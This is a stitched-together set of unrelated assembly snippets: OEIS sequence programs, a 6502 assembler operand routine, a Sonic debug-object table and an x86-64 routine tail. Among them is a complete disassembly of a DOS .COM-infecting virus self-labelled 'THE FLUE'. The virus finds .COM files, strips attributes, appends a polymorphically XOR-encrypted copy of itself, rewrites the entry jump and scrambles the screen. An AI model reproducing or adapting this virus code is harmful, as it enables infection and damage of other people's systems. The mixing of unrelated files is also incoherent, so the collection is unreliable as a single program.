add $(16), %rdi
add $(1), %rcx
jnz .Ladd_diag_loopgas_1
mov %r15, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
|
; A339597: When 2*n+1 first appears in A086799.
; 1,2,5,4,9,10,13,8,17,18,21,20,25,26,29,16,33,34,37,36,41,42,45,40,49,50,53,52,57,58,61,32,65,66,69,68,73,74,77,72,81,82,85,84,89,90,93,80,97,98,101,100,105,106,109,104,113,114,117,116,121,122,125,64,129,130,133,132,137,138,141,136,145,146,149,148,153,154,157,144,161,162,165,164,169,170,173,168,177,178,181,180,185,186,189,160,193,194,197,196,201,202,205,200,209,210,213,212,217,218,221,208,225,226,229,228,233,234,237,232,241,242,245,244,249,250,253,128,257,258,261,260,265,266,269,264,273,274,277,276,281,282,285,272,289,290,293,292,297,298,301,296,305,306,309,308,313,314,317,288,321,322,325,324,329,330,333,328,337,338,341,340,345,346,349,336,353,354,357,356,361,362,365,360,369,370,373,372,377,378,381,320,385,386,389,388,393,394,397,392,401,402,405,404,409,410,413,400,417,418,421,420,425,426,429,424,433,434,437,436,441,442,445,416,449,450,453,452,457,458,461,456,465,466,469,468,473,474,477,464,481,482,485,484,489,490,493,488,497,498
mov $2,$0
cal $0,129760 ; Bitwise AND of binary representation of n-1 and n.
mov $1,$0
add $1,1
add $1,$2
|
; ************************************************************************************************
; ************************************************************************************************
;
; Name: asmoperand.asm
; Purpose: Decode operand
; Created: 15th March 2021
; Reviewed: 6th April 2021
; Author: Paul Robson (paul@robsons.org.uk)
;
; ************************************************************************************************
; ************************************************************************************************
.section code
; ************************************************************************************************
;
; Get operand from instruction stream, if any => A
;
; The mode will be the zero page version where any exists, so no ABS instructions
; The assembler tries the 2 byte version if it can, then the 3 byte version of
; instructions if it cannot.
;
; Returns:
; Acc/Implied for no operand or A
; Immediate for #
; Zero Zero,X Zero,Y for where just an expression with optional indexing.
; Zero Ind, Zero IndX or ZeroIndY for indirect operations.
;
; ************************************************************************************************
AsmGetOperand:
ldx #0 ; clear the operand.
txa
sta esInt0,x
sta esInt1,x
sta esInt2,x
sta esInt3,x
lda (codePtr),y ; first character into X
tax
;
lda #AMD_ACCIMP
cpx #TOK_EOL ; if end of line or colon, return implied mode.
beq _AGOExit ; e.g. "INX"
cpx #TKW_COLON
beq _AGOExit
;
iny ; consume the token
lda #AMD_IMM
cpx #TKW_HASH ; if a hash present, then immediate mode.
beq _AGOEvalExit ; with an operand.
;
cpx #TKW_LPAREN ; left bracket ? so it is lda (something
beq _AGOIndirect
;
cpx #$01 ; is it "A" e.g. the variable A on its own. This is for ASL A
bne _AGOZeroPage1 ; if not it is zero zero,x zero,y, unpick 1 iny
;
lda (codePtr),y ; get the second character & consume it - this should be $3A
iny
tax
lda #AMD_ACCIMP ; and return Acc/Implied if it is just A
cpx #$3A
beq _AGOExit
dey ; unpick 2 iny
_AGOZeroPage1:
dey
;
; Zero Page, possibly with indexing.
;
lda #0 ; get the address into esInt0/1 (it may of course be absolute)
.main_evaluateint
jsr AsmGetIndexing ; get ,X or ,Y if present
lda #AMD_ZERO
bcc _AGOExit ; neither present
lda #AMD_ZEROX ; decide if ,X or ,Y
cpx #0
beq _AGOExit
lda #AMD_ZEROY
jmp _AGOExit
;
; Evaluate and return.
;
_AGOEvalExit:
pha
lda #0 ; evaluate operand in root.
.main_evaluateint
pla
;
; Return just the mode.
;
_AGOExit:
pha ; save the mode
lda esInt2 ; check the operand is zero.
ora esInt3
bne _AGOValue
pla
rts
_AGOValue:
.throw BadValue
;
; Indirect found. (nnn) (nnn,X) or (nnn),Y
;
_AGOIndirect:
lda #0 ; evaluate operand in root.
.main_evaluateint
lda (codePtr),y ; does ) follow ? if so might be ) or ),Y
cmp #TKW_RPAREN
beq _AGOIndIndY
;
jsr ASMGetIndexing ; must be ,X) so get the ending and error on anything else.
bcc AGISyntax
cpx #0
bne AGISyntax
.main_checkrightparen
lda #AMD_ZEROINDX
rts
;
_AGOIndIndY: ; either (xxx) or (xxx),Y
iny
jsr ASMGetIndexing ; get indexing if any
lda #AMD_ZEROIND
bcc _AGOExit ; none then exit
cpx #0 ; must be ,Y
beq AGISyntax
lda #AMD_ZEROINDY
jmp _AGOExit
; ************************************************************************************************
;
; Get and consume any indexing. Returns CC if no indexing. X=0 for X indexing
; and X=1 for Y indexing
;
; ************************************************************************************************
AsmGetIndexing:
lda (codePtr),y ; check for comma (e.g. ,X ,Y)
cmp #TKW_COMMA
clc
bne _AGIExit ; no comma, return with CC
;
iny ; get what SHOULD be X or Y
lda (codePtr),y ; read it
sec ; subtract 6 bit ASCII of X
sbc #"X" & $3F
cmp #2 ; if unsigned >= 2 then error
bcs AGISyntax
tax ; put in index
iny ; get what follows that, should be the $3A marker
lda (codePtr),y
iny
cmp #$3A
bne AGISyntax
sec ; return CS and index mode in X
_AGIExit:
rts
AGISyntax:
.throw syntax
.send code
|
1000:0000 Proc3:
1000:0000 cd 20 INT 20h ;Exit
1000:0079 Data37:
1000:0100 e4 40 Main: IN AL, 40h
1000:0102 86 e0 XCHG AH, AL
1000:0104 e4 40 IN AL, 40h
1000:0106 a3 a205 MOV WORD PTR [Data0], AX
1000:0109 be 1601 MOV SI, 0116h
1000:010c e8 8f04 CALL Proc0
1000:010f e9 0100 JMP Jmp0
1000:0112 db c3
1000:0113 Jmp0:
1000:0113 e8 8404 CALL Proc1
1000:0116 Data9:
1000:0116 e8 0000 CALL Proc2
1000:0119 Proc2:
1000:0119 5d POP BP
1000:011a 81 ed 1901 SUB BP, 0119h
1000:011e eb 01 JMP Jmp1
1000:0120 db 81
1000:0121 Jmp1:
1000:0121 e4 21 IN AL, 21h
1000:0123 0c 02 OR AL, 02h
1000:0125 e6 21 OUT AL, 21h
1000:0127 b9 0300 MOV CX, 0003h
1000:012a bf 0001 MOV DI, 0100h
1000:012d 57 PUSH DI
1000:012e 8d b6 5204 LEA SI, WORD PTR [BP+Data1]
1000:0132 fc CLD
1000:0133 f3 REPNZ
1000:0134 a4 MOVSB
1000:0135 b4 47 MOV AH, 47h
1000:0137 32 d2 XOR DL, DL
1000:0139 8d b6 ae04 LEA SI, WORD PTR [BP+Data2]
1000:013d cd 21 INT 21h ;Get current directory
1000:013f b4 2f MOV AH, 2fh
1000:0141 cd 21 INT 21h ;Get DTA
1000:0143 06 PUSH ES
1000:0144 53 PUSH BX
1000:0145 b8 2435 MOV AX, 3524h
1000:0148 cd 21 INT 21h ;Get int vector 0x24
1000:014a 3e
1000:014b 89 9e ee04 MOV WORD PTR DS:[BP+Data3], BX
1000:014f 3e
1000:0150 8c 86 f004 MOV WORD PTR DS:[BP+Data4], ES
1000:0154 0e PUSH CS
1000:0155 07 POP ES
1000:0156 fa CLI
1000:0157 b4 25 MOV AH, 25h
1000:0159 8d 96 4004 LEA DX, WORD PTR [BP+Data5]
1000:015d cd 21 INT 21h ;Set int vector 0x24
1000:015f fb STI
1000:0160 3e
1000:0161 83 be a205 00 CMP WORD PTR DS:[BP+Data6], 00h
1000:0166 75 03 JNZ Jmp2
1000:0168 e9 4602 JMP Jmp3
1000:016b Jmp2:
1000:016b b4 1a MOV AH, 1ah
1000:016d 8d 96 6104 LEA DX, WORD PTR [BP+Data11]
1000:0171 cd 21 INT 21h ;Set DTA
1000:0173 e8 b402 CALL Proc4
1000:0176 b1 05 MOV CL, 05h
1000:0178 d2 e8 SHR AL, CL
1000:017a fe c0 INC AL
1000:017c 3e
1000:017d 88 86 5104 MOV BYTE PTR DS:[BP+Data12], AL
1000:0181 Jmp7:
1000:0181 b4 4e MOV AH, 4eh
1000:0183 8d 96 5804 LEA DX, WORD PTR [BP+Data13]
1000:0187 eb 31 JMP Jmp5
1000:0189 db 90
1000:018a Jmp10:
1000:018a b8 0157 MOV AX, 5701h
1000:018d 3e
1000:018e 8b 8e 7704 MOV CX, WORD PTR DS:[BP+Data17]
1000:0192 3e
1000:0193 8b 96 7904 MOV DX, WORD PTR DS:[BP+Data18]
1000:0197 cd 21 INT 21h ;Get/set file timestamp
1000:0199 b4 3e MOV AH, 3eh
1000:019b cd 21 INT 21h ;Close file
1000:019d b8 0143 MOV AX, 4301h
1000:01a0 32 ed XOR CH, CH
1000:01a2 3e
1000:01a3 8a 8e 7604 MOV CL, BYTE PTR DS:[BP+Data19]
1000:01a7 8d 96 7f04 LEA DX, WORD PTR [BP+Data15]
1000:01ab cd 21 INT 21h ;Change file attributes
1000:01ad 3e
1000:01ae 80 be 5104 00 CMP BYTE PTR DS:[BP+Data12], 00h
1000:01b3 75 03 JNZ Jmp12
1000:01b5 e9 f901 JMP Jmp3
1000:01b8 Jmp12:
1000:01b8 b4 4f MOV AH, 4fh
1000:01ba Jmp5:
1000:01ba b9 0600 MOV CX, 0006h
1000:01bd cd 21 INT 21h ;Find file
1000:01bf 73 12 JNB Jmp6
1000:01c1 3e
1000:01c2 fe 86 5104 INC BYTE PTR DS:[BP+Data12]
1000:01c6 b4 3b MOV AH, 3bh
1000:01c8 8d 96 5e04 LEA DX, WORD PTR [BP+Data14]
1000:01cc cd 21 INT 21h ;Change directory
1000:01ce 73 b1 JNB Jmp7
1000:01d0 e9 de01 JMP Jmp3
1000:01d3 Jmp6:
1000:01d3 b8 0143 MOV AX, 4301h
1000:01d6 33 c9 XOR CX, CX
1000:01d8 8d 96 7f04 LEA DX, WORD PTR [BP+Data15]
1000:01dc cd 21 INT 21h ;Change file attributes
1000:01de b8 023d MOV AX, 3d02h
1000:01e1 cd 21 INT 21h ;Open file
1000:01e3 73 03 JNB Jmp8
1000:01e5 e9 c901 JMP Jmp3
1000:01e8 Jmp8:
1000:01e8 93 XCHG AX, BX
1000:01e9 83 fb 04 CMP BX, 04h
1000:01ec 77 03 JA Jmp9
1000:01ee e9 c001 JMP Jmp3
1000:01f1 Jmp9:
1000:01f1 3e
1000:01f2 89 9e 4f04 MOV WORD PTR DS:[BP+Data16], BX
1000:01f6 b4 3f MOV AH, 3fh
1000:01f8 b9 0300 MOV CX, 0003h
1000:01fb 8d 96 5204 LEA DX, WORD PTR [BP+Data1]
1000:01ff cd 21 INT 21h ;Read file
1000:0201 e8 0302 CALL Proc5
1000:0204 3d 73bb CMP AX, bb73h
1000:0207 73 81 JNB Jmp10
1000:0209 3d f401 CMP AX, 01f4h
1000:020c 73 03 JNB Jmp11
1000:020e e9 79ff JMP Jmp10
1000:0211 Jmp11:
1000:0211 3e
1000:0212 80 be 5204 e9 CMP BYTE PTR DS:[BP+Data1], e9h
1000:0217 75 0d JNZ Jmp13
1000:0219 3e
1000:021a 2b 86 5304 SUB AX, WORD PTR DS:[BP+Data20]
1000:021e 3d 9e04 CMP AX, 049eh
1000:0221 75 03 JNZ Jmp13
1000:0223 e9 64ff JMP Jmp10
1000:0226 Jmp13:
1000:0226 e8 0102 CALL Proc4
1000:0229 b1 06 MOV CL, 06h
1000:022b d3 e8 SHR AX, CL
1000:022d 50 PUSH AX
1000:022e e8 f901 CALL Proc4
1000:0231 92 XCHG AX, DX
1000:0232 33 c0 XOR AX, AX
1000:0234 8e d8 MOV DS, AX
1000:0236 b4 40 MOV AH, 40h
1000:0238 59 POP CX
1000:0239 cd 21 INT 21h ;Write file
1000:023b 0e PUSH CS
1000:023c 1f POP DS
1000:023d e8 c701 CALL Proc5
1000:0240 e8 e701 CALL Proc4
1000:0243 0b c0 OR AX, AX
1000:0245 75 03 JNZ Jmp14
1000:0247 e9 6701 JMP Jmp3
1000:024a Jmp14:
1000:024a 3e
1000:024b 89 86 a205 MOV WORD PTR DS:[BP+Data6], AX
1000:024f 3e
1000:0250 89 9e 8105 MOV WORD PTR DS:[BP+Data21], BX
1000:0254 b9 2600 MOV CX, 0026h
1000:0257 8d b6 7405 LEA SI, WORD PTR [BP+Data22]
1000:025b 8d be ad05 LEA DI, WORD PTR [BP+Data8]
1000:025f fc CLD
1000:0260 f3 REPNZ
1000:0261 a4 MOVSB
1000:0262 e8 b701 CALL Proc6
1000:0265 d0 e8 SHR AL, 1
1000:0267 3c 02 CMP AL, 02h
1000:0269 72 1f JB Jmp15
1000:026b 77 3a JA Jmp16
1000:026d 3e
1000:026e c6 86 9b05 e3 MOV BYTE PTR DS:[BP+Data23], e3h
1000:0273 3e
1000:0274 c6 86 9d05 37 MOV BYTE PTR DS:[BP+Data24], 37h
1000:0279 3e
1000:027a c7 86 a405 3104 MOV WORD PTR DS:[BP+Jmp4], 0431h
1000:0280 3e
1000:0281 c7 86 a805 4646 MOV WORD PTR DS:[BP+Data25], 4646h
1000:0287 eb 38 JMP Jmp17
1000:0289 db 90
1000:028a Jmp15:
1000:028a 3e
1000:028b c6 86 9b05 e7 MOV BYTE PTR DS:[BP+Data23], e7h
1000:0290 3e
1000:0291 c6 86 9d05 1d MOV BYTE PTR DS:[BP+Data24], 1dh
1000:0296 3e
1000:0297 c7 86 a405 3107 MOV WORD PTR DS:[BP+Jmp4], 0731h
1000:029d 3e
1000:029e c7 86 a805 4343 MOV WORD PTR DS:[BP+Data25], 4343h
1000:02a4 eb 1b JMP Jmp17
1000:02a6 db 90
1000:02a7 Jmp16:
1000:02a7 3e
1000:02a8 c6 86 9b05 e6 MOV BYTE PTR DS:[BP+Data23], e6h
1000:02ad 3e
1000:02ae c6 86 9d05 3c MOV BYTE PTR DS:[BP+Data24], 3ch
1000:02b3 3e
1000:02b4 c7 86 a405 3105 MOV WORD PTR DS:[BP+Jmp4], 0531h
1000:02ba 3e
1000:02bb c7 86 a805 4747 MOV WORD PTR DS:[BP+Data25], 4747h
1000:02c1 Jmp17:
1000:02c1 e8 5801 CALL Proc6
1000:02c4 3c 04 CMP AL, 04h
1000:02c6 72 1c JB Jmp18
1000:02c8 3e
1000:02c9 80 be 9a05 46 CMP BYTE PTR DS:[BP+Proc1], 46h
1000:02ce 72 08 JB Jmp19
1000:02d0 77 0c JA Jmp20
1000:02d2 3c 05 CMP AL, 05h
1000:02d4 75 62 JNZ Jmp21
1000:02d6 eb e9 JMP Jmp17
1000:02d8 Jmp19:
1000:02d8 3c 04 CMP AL, 04h
1000:02da 75 47 JNZ Jmp24
1000:02dc eb e3 JMP Jmp17
1000:02de Jmp20:
1000:02de 3c 06 CMP AL, 06h
1000:02e0 75 6b JNZ Jmp23
1000:02e2 eb dd JMP Jmp17
1000:02e4 Jmp18:
1000:02e4 3c 02 CMP AL, 02h
1000:02e6 72 17 JB Jmp25
1000:02e8 77 24 JA Jmp26
1000:02ea 3e
1000:02eb c6 86 a105 ba MOV BYTE PTR DS:[BP+Data26], bah
1000:02f0 3e
1000:02f1 80 86 a505 10 ADD BYTE PTR DS:[BP+Data27], 10h
1000:02f6 3e
1000:02f7 c6 86 a705 d2 MOV BYTE PTR DS:[BP+Data28], d2h
1000:02fc eb 61 JMP Jmp22
1000:02fe db 90
1000:02ff Jmp25:
1000:02ff 3e
1000:0300 c6 86 a105 b8 MOV BYTE PTR DS:[BP+Data26], b8h
1000:0305 3e
1000:0306 c6 86 a705 d0 MOV BYTE PTR DS:[BP+Data28], d0h
1000:030b eb 52 JMP Jmp22
1000:030d db 90
1000:030e Jmp26:
1000:030e 3e
1000:030f c6 86 a105 bd MOV BYTE PTR DS:[BP+Data26], bdh
1000:0314 3e
1000:0315 80 86 a505 28 ADD BYTE PTR DS:[BP+Data27], 28h
1000:031a 3e
1000:031b c6 86 a705 d5 MOV BYTE PTR DS:[BP+Data28], d5h
1000:0320 eb 3d JMP Jmp22
1000:0322 db 90
1000:0323 Jmp24:
1000:0323 3e
1000:0324 c6 86 a105 bb MOV BYTE PTR DS:[BP+Data26], bbh
1000:0329 3e
1000:032a 80 86 a505 18 ADD BYTE PTR DS:[BP+Data27], 18h
1000:032f 3e
1000:0330 c6 86 a705 d3 MOV BYTE PTR DS:[BP+Data28], d3h
1000:0335 eb 28 JMP Jmp22
1000:0337 db 90
1000:0338 Jmp21:
1000:0338 3e
1000:0339 c6 86 a105 be MOV BYTE PTR DS:[BP+Data26], beh
1000:033e 3e
1000:033f 80 86 a505 30 ADD BYTE PTR DS:[BP+Data27], 30h
1000:0344 3e
1000:0345 c6 86 a705 d6 MOV BYTE PTR DS:[BP+Data28], d6h
1000:034a eb 13 JMP Jmp22
1000:034c db 90
1000:034d Jmp23:
1000:034d 3e
1000:034e c6 86 a105 bf MOV BYTE PTR DS:[BP+Data26], bfh
1000:0353 3e
1000:0354 80 86 a505 38 ADD BYTE PTR DS:[BP+Data27], 38h
1000:0359 3e
1000:035a c6 86 a705 d7 MOV BYTE PTR DS:[BP+Data28], d7h
1000:035f Jmp22:
1000:035f 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:0363 8b fe MOV DI, SI
1000:0365 8b de MOV BX, SI
1000:0367 55 PUSH BP
1000:0368 e8 3302 CALL Proc0
1000:036b 5d POP BP
1000:036c b8 0042 MOV AX, 4200h
1000:036f 3e
1000:0370 8b 9e 4f04 MOV BX, WORD PTR DS:[BP+Data16]
1000:0374 33 c9 XOR CX, CX
1000:0376 33 d2 XOR DX, DX
1000:0378 cd 21 INT 21h ;Seek on file
1000:037a b4 40 MOV AH, 40h
1000:037c b9 0300 MOV CX, 0003h
1000:037f 8d 96 5504 LEA DX, WORD PTR [BP+Data29]
1000:0383 cd 21 INT 21h ;Write file
1000:0385 b8 00b8 MOV AX, b800h
1000:0388 8e c0 MOV ES, AX
1000:038a 8e d8 MOV DS, AX
1000:038c 33 f6 XOR SI, SI
1000:038e 33 ff XOR DI, DI
1000:0390 b9 1800 MOV CX, 0018h
1000:0393 51 PUSH CX
1000:0394 b9 5000 MOV CX, 0050h
1000:0397 ad LODSW
1000:0398 50 PUSH AX
1000:0399 e2 fc LOOP Data30
1000:039b b9 5000 MOV CX, 0050h
1000:039e 58 POP AX
1000:039f ab STOSW
1000:03a0 e2 fc LOOP Data31
1000:03a2 59 POP CX
1000:03a3 e2 ee LOOP Data32
1000:03a5 0e PUSH CS
1000:03a6 0e PUSH CS
1000:03a7 1f POP DS
1000:03a8 07 POP ES
1000:03a9 3e
1000:03aa fe 8e 5104 DEC BYTE PTR DS:[BP+Data12]
1000:03ae e9 d9fd JMP Jmp10
1000:03b1 Jmp3:
1000:03b1 8d b6 ce03 LEA SI, WORD PTR [BP+Data7]
1000:03b5 8d be ad05 LEA DI, WORD PTR [BP+Data8]
1000:03b9 b9 3900 MOV CX, 0039h
1000:03bc fc CLD
1000:03bd f3 REPNZ
1000:03be a4 MOVSB
1000:03bf 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:03c3 8b fe MOV DI, SI
1000:03c5 8b de MOV BX, SI
1000:03c7 b9 c901 MOV CX, 01c9h
1000:03ca 55 PUSH BP
1000:03cb e9 d601 JMP Jmp4
1000:03ce Data7:
1000:03ce db 5d,b8,24,25,3e,8b,96,f0,04,8e,da,3e,8b,96,ee,04,cd,21,b4,1a
1000:03e2 db 5a,1f,cd,21,0e,1f,b4,3b,8d,96,ad,04,cd,21,e4,21,24,fd,e6,21
1000:03f6 db 33,c0,33,db,33,c9,33,d2,33,ed,be,00,01,bf,00,01,c3
1000:0407 Proc5:
1000:0407 b8 0242 MOV AX, 4202h
1000:040a 33 c9 XOR CX, CX
1000:040c 33 d2 XOR DX, DX
1000:040e cd 21 INT 21h ;Seek on file
1000:0410 2d 0300 SUB AX, 0003h
1000:0413 3e
1000:0414 89 86 5604 MOV WORD PTR DS:[BP+Data41], AX
1000:0418 05 0300 ADD AX, 0003h
1000:041b c3 RET
1000:041c Proc6:
1000:041c e8 0b00 CALL Proc4
1000:041f 24 0f AND AL, 0fh
1000:0421 d0 e8 SHR AL, 1
1000:0423 3c 05 CMP AL, 05h
1000:0425 77 f5 JA Proc6
1000:0427 fe c0 INC AL
1000:0429 c3 RET
1000:042a Proc4:
1000:042a b4 2c MOV AH, 2ch
1000:042c cd 21 INT 21h ;Get time
1000:042e 86 ea XCHG CH, DL
1000:0430 90 NOP
1000:0431 b4 2c MOV AH, 2ch
1000:0433 cd 21 INT 21h ;Get time
1000:0435 86 ca XCHG CL, DL
1000:0437 e4 40 IN AL, 40h
1000:0439 86 e0 XCHG AH, AL
1000:043b e4 40 IN AL, 40h
1000:043d 33 c1 XOR AX, CX
1000:043f c3 RET
1000:0440 Data5:
1000:0440 db b9,09,00,58,e2,fd,5d,1f,07,5a,1f,9d,e9,62,ff,00,00,00,eb,10
1000:044f Data16:
1000:0451 Data12:
1000:0452 Data1:
1000:0453 Data20:
1000:0454 db 90,e9,fd,fe
1000:0455 Data29:
1000:0456 Data41:
1000:0458 Data13:
1000:0458 db '*.COM'
1000:045d db 00,2e,2e,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:045e Data14:
1000:0461 Data11:
1000:0471 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:0476 Data19:
1000:0477 Data17:
1000:0479 Data18:
1000:047f Data15:
1000:0485 db 00,00,00,00,00,00,00,20,22,9d,ed,e6,20,e0
1000:0493 e2 ee LOOP Data33
1000:0495 20 f3 AND BL, DH
1000:0497 ad LODSW
1000:0498 87 de XCHG BX, SI
1000:049a 3c 22 CMP AL, 22h
1000:049c 2c 20 SUB AL, 20h
1000:049e f3 REPNZ
1000:049f e0 79 LOOPNZ Data34
1000:04a1 f3 REPNZ
1000:04a2 3a 20 CMP AH, BYTE PTR [BX+SI]
1000:04a4 5b POP BX
1000:04a5 44 INC SP
1000:04a6 e0 52 LOOPNZ Data35
1000:04a8 db 6b,52,e0,59,5d,5c,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04ae Data2:
1000:04bc db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04d0 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04e4 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04ee Data3:
1000:04f0 Data4:
1000:04f2 db 'Hatsjeee'
1000:04fa 6b 52 e0 595d XOR WORD PTR [BP+SIData36], 5d59h
1000:04fc 20 28 AND BYTE PTR [BX+SI], CH
1000:04fe 43 INC BX
1000:04ff 29 20 SUB WORD PTR [BX+SI], SP
1000:0501 31 39 XOR WORD PTR [BX+DI], DI
1000:0503 39 32 CMP WORD PTR [BP+SI], SI
1000:0505 2f DAS
1000:0506 31 39 XOR WORD PTR [BX+DI], DI
1000:0508 39 33 CMP WORD PTR [BP+DI], SI
1000:050a 20 62 79 AND BYTE PTR [BP+SI+Data37], AH
1000:050d 20 54 72 AND BYTE PTR [SI+Data38], DL
1000:0510 db 'idenT / [D'
1000:051a 69 64 65 6e54 XOR WORD PTR [SI+Data39], 546eh
1000:051c db 6b,52,e0
1000:051f db 'Y]Oh, BTW it's from '
1000:0533 db 'Holland, and is call'
1000:0547 db 'ed THE FLUEFor those'
1000:055b db ' who are interested'
1000:056e 6b 52 e0 595d XOR WORD PTR [BP+SIData36], 5d59h
1000:056f 2e
1000:0570 2e
1000:0571 2e
1000:0572 2e
1000:0573 2e
1000:0574 Data22:
1000:0574 58 POP AX
1000:0575 5d POP BP
1000:0576 55 PUSH BP
1000:0577 50 PUSH AX
1000:0578 3e
1000:0579 c6 86 ad05 c3 MOV BYTE PTR DS:[BP+Data8], c3h
1000:057e b4 40 MOV AH, 40h
1000:0580 bb 0000 MOV BX, 0000h
1000:0581 Data21:
1000:0583 b9 9b04 MOV CX, 049bh
1000:0586 8d 96 1301 LEA DX, WORD PTR [BP+Jmp0]
1000:058a cd 21 INT 21h ;Write file
1000:058c 8d be 9e05 LEA DI, WORD PTR [BP+Proc0]
1000:0590 57 PUSH DI
1000:0591 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:0595 8b fe MOV DI, SI
1000:0597 8b de MOV BX, SI
1000:0599 c3 RET
1000:059a Proc1:
1000:059a 89 e3 MOV BX, SP
1000:059b Data23:
1000:059c 8b 37 MOV SI, WORD PTR [BX]
1000:059d Data24:
1000:059e Proc0:
1000:059e b9 4002 MOV CX, 0240h
1000:05a1 Data26:
1000:05a1 b8 0000 MOV AX, 0000h
1000:05a2 Data6:
1000:05a4 Jmp4:
1000:05a4 31 04 XOR WORD PTR [SI], AX
1000:05a5 Data27:
1000:05a6 f7 d0 NOT AX
1000:05a7 Data28:
1000:05a8 Data25:
1000:05a8 46 INC SI
1000:05a9 46 INC SI
1000:05aa 49 DEC CX
1000:05ab 75 f7 JNZ Jmp4
1000:05ad Data8:
1000:05ad c3 RET
1000:ffe0 Data36:
2f18:0393 Data32:
2f18:0397 Data30:
2f18:039e Data31:
2f18:0483 Data33:
2f18:04fa Data35:
2f18:051a Data34:
2f18:056e Data40:
2f18:05a2 Data0:
eda4:0000 Data10:
eda4:0065 Data39:
eda4:0072 Data38:
|
; A001998: Bending a piece of wire of length n+1; walks of length n+1 on a tetrahedron; also non-branched catafusenes with n+2 condensed hexagons.
; 1,2,4,10,25,70,196,574,1681,5002,14884,44530,133225,399310,1196836,3589414,10764961,32291602,96864964,290585050,871725625,2615147350,7845353476,23535971854,70607649841,211822683802,635467254244,1906400965570,5719200505225,17157599124190,51472790198116,154418363419894,463255068736321,1389765184685602,4169295489486724
mov $2,$0
add $2,1
mov $3,$0
lpb $2,1
mov $0,$3
sub $2,1
sub $0,$2
sub $0,1
cal $0,1444 ; Bending a piece of wire of length n+1 (configurations that can only be brought into coincidence by turning the figure over are counted as different).
add $1,$0
lpe
|
; Object Mappings Subtype Frame Arttile
dbglistobj Obj_Ring, Map_Ring, 0, 0, make_art_tile($6BC,1,1)
dbglistobj Obj_Monitor, Map_Monitor, 6, 0, make_art_tile($4C4,0,0)
dbglistobj Obj_PathSwap, Map_PathSwap, 9, 1, make_art_tile($6BC,1,0)
dbglistobj Obj_PathSwap, Map_PathSwap, $D, 5, make_art_tile($6BC,1,0)
dbglistobj Obj_Spring, Map_Spring, $81, 0, make_art_tile($4A4,0,0)
dbglistobj Obj_Spring, Map_Spring, $90, 3, make_art_tile($4B4,0,0)
dbglistobj Obj_Spring, Map_Spring, $A0, 6, make_art_tile($4A4,0,0)
dbglistobj Obj_Spikes, Map_Spikes, 0, 0, make_art_tile($49C,0,0)
dbglistobj Obj_CollapsingBridge, Map_LBZCollapsingBridge, $80, 0, make_art_tile($001,2,0)
dbglistobj Obj_CollapsingBridge, Map_LBZCollapsingLedge, $40, 0, make_art_tile($001,2,0)
dbglistobj Obj_CorkFloor, Map_LBZCorkFloor, 0, 0, make_art_tile($001,2,0)
dbglistobj Obj_LBZMovingPlatform, Map_LBZMovingPlatform, 5, 0, make_art_tile($3C3,2,0)
dbglistobj Obj_LBZMovingPlatform, Map_LBZMovingPlatform, $11, 1, make_art_tile($3C3,2,0)
dbglistobj Obj_LBZExplodingTrigger, Map_LBZExplodingTrigger, 0, 0, make_art_tile($433,2,0)
dbglistobj Obj_LBZTriggerBridge, Map_LBZTriggerBridge, 0, 0, make_art_tile($3C3,2,0)
dbglistobj Obj_LBZPlayerLauncher, Map_LBZPlayerLauncher, 0, 0, make_art_tile($3C3,2,0)
dbglistobj Obj_LBZFlameThrower, Map_LBZFlameThrower, 0, 0, make_art_tile($3AC,2,0)
dbglistobj Obj_LBZRideGrapple, Map_LBZRideGrapple, 0, 0, make_art_tile($433,1,0)
dbglistobj Obj_LBZPipePlug, Map_LBZPipePlug, 0, 7, make_art_tile($2E6,2,0)
dbglistobj Obj_LBZSpinLauncher, Map_LBZSpinLauncher, 0, 0, make_art_tile($2EA,2,0)
dbglistobj Obj_LBZLoweringGrapple, Map_LBZLoweringGrapple, $1A, 0, make_art_tile($2EA,2,0)
dbglistobj Obj_LBZGateLaser, Map_LBZGateLaser, $F, 0, make_art_tile($2EA,2,0)
dbglistobj Obj_SnaleBlaster, Map_SnaleBlaster, 0, 0, make_art_tile($524,1,0)
dbglistobj Obj_Orbinaut, Map_Orbinaut, 0, 0, make_art_tile($56E,1,0)
dbglistobj Obj_Orbinaut, Map_Orbinaut, 2, 0, make_art_tile($56E,1,0)
dbglistobj Obj_Orbinaut, Map_Orbinaut, 4, 0, make_art_tile($56E,1,0)
dbglistobj Obj_Ribot, Map_Ribot, 0, 0, make_art_tile($547,1,0)
dbglistobj Obj_Ribot, Map_Ribot, 2, 0, make_art_tile($547,1,0)
dbglistobj Obj_Ribot, Map_Ribot, 4, 0, make_art_tile($547,1,0)
dbglistobj Obj_Corkey, Map_Corkey, $20, 0, make_art_tile($558,1,0)
dbglistobj Obj_Flybot767, Map_Flybot767, 0, 0, make_art_tile($500,1,0)
dbglistobj Obj_StarPost, Map_StarPost, 1, 0, make_art_tile($5EC,0,0)
dbglistobj Obj_Bubbler, Map_Bubbler, $81, $13, make_art_tile($45C,0,1)
dbglistobj Obj_LBZMovingPlatform, Map_LBZMovingPlatform, $D, 0, make_art_tile($3C3,2,0)
dbglistobj Obj_LBZCupElevator, Map_LBZCupElevator, 0, 0, make_art_tile($40D,2,0)
dbglistobj Obj_LBZCupElevatorPole, Map_LBZCupElevator, 6, 3, make_art_tile($40D,2,0)
dbglistobj Obj_BreakableWall, Map_LBZBreakableWall, 0, 0, make_art_tile($2EA,1,0)
dbglistobj Obj_StillSprite, Map_StillSprites, $14, $14, make_art_tile($40D,2,0)
dbglistobj Obj_StillSprite, Map_StillSprites, $15, $15, make_art_tile($433,1,0)
dbglistobj Obj_StillSprite, Map_StillSprites, $16, $16, make_art_tile($433,1,0)
|
; A173116: a(n) = sinh(2*arcsinh(n))^2 = 4*n^2*(n^2 + 1).
